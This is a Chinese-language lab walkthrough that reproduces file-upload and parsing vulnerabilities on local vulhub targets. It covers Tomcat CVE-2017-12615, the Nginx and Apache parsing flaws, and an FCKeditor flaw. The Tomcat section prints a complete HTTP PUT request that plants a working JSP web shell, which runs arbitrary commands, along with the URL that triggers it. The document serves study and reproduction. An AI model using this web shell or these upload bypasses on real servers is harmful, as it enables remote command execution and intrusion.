免责声明:仅供学习使用。
文件上传靶场的相关知识网上很多,也写的很全,可以去他们博客看看,这里写一些其他的。
upload-labs靶场通关(文件上传漏洞靶场)_upload pass 通关-优快云博客
tomcat 文件解析漏洞
靶机:vulhub
进入到目录:/home/enjoy/vulhub-master/tomcat/CVE-2017-12615
编译、运行docker
su root
cd /home/enjoy/vulhub-master/tomcat/CVE-2017-12615
docker-compose build
docker-compose up -d
docker-compose config
访问vukhub的 ip:8080
bp抓包后修改为1.jsp文件并发送过去
PUT /1.jsp/ HTTP/1.1
Host: 192.168.211.134:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 750
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {
StringBuilder line = new StringBuilder();
try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new
BufferedReader(new InputStreamReader(pro.getInputStream()));
String temp = null;while ((temp = buf.readLine()) != null) {
line.append(temp+"\n");}buf.close();} catch (Exception e) {
line.append(e.getMessage());}return
line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getP
arameter("cmd"))){
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-
)");}%>
访问http://192.168.211.134:8080/1.jsp?&pwd=pwd&cmd=dir
就可以看到服务器的信息
Nginx 解析漏洞
1.jpg/.php -> 1.jpg 会被当成 php 格式解析
加上/.php 后文件以 php 格式解析
cd /home/enjoy/vulhub-master/nginx/nginx_parsing_vulnerability
docker-compose build
docker-compose up -d
docker-compose config
访问192.168.211.134:80
上传图片马
访问
http://192.168.211.134/uploadfiles/db7f1a5d97d66c9bba4550973b6dafc8.png/a.php
编辑器漏洞
进入 fckeditor\editor\filemanager\connectors\php\config.php
修改
访问 http://localhost/fckeditor/_whatsnew.html
cd D:\phpstudy_pro\Extensions\php\php5.4.45nts
php.exe C:\Users\86188\Desktop\tool\fck.php 127.0.0.1:80 /fckeditor/
出现
复现成功。
apache 解析漏洞
apahe 解析文件时候有一特性,Apache 默认一个文件可以有多个以点分割的后缀,apache 会
从最右边开始识别其后缀名,只要一个文件含有.php 后缀的文件即将被识别成 PHP 文件,没
必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞
打开vulhub
cd /home/enjoy/vulhub-master/httpd/apache_parsing_vulnerability
docker-compose build
docker-compose up -d
docker-compose config
上传含.php文件名的文件,然后访问